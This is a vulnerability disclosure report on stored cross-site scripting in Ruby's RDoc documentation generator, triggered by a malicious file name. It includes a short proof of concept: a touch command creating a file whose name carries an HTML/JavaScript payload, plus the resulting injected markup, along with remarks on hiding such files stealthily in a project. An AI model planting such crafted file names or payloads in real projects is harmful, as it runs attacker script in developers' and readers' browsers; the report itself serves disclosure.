XSS exploit of RDoc documentation generated by rdoc
Medium
R
Ruby
Submitted None
Actions:
Reported by
sighook
Vulnerability Details
Technical details and impact analysis
When creating an RDoc html documentation, there is a possibility to inject malicious code through file name.
# PoC
```bash
~ $ touch \"\>\<object\ src\=1\ onerror\=\"javascript\:alert\(1\)\;\"\>Controlling\ what\ is\ documented\ here
~ $ ls
"><object src=1 onerror="blocked:alert(1);">Controlling what is documented here
~ $ rdoc --all
```
Now, the generated index file has injected javascript code:
```html
...
<li><a href="./"><object src=1 onerror="blocked:alert(1);">Controlling what is documented here.html">"><object src=1 onerror="blocked:alert(1);">Controlling what is documented here</a>
...
```
I set to the vulnerability the same severity as CVE-2013-0256 has, since rdoc is widely used on dev/production systems online documentation, etc. An attacker can hide a bad-named-file deep in the project structure to be stealthy. Also, the file can be very tricky-named in documentation list, can contain the real documentation code, and so as not to arouse suspicion for some time.
## Impact
The injected code can exfiltrate data or install malware on the (user|developer)’s machine, etc.
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2013-0256
UNKNOWN
darkfish.js in RDoc 2.3.0 through 3.12 and 4.x before 4.0.0.preview2.1, as used in Ruby, does not properly generate documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a crafted URL.
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
Cross-site Scripting (XSS) - Stored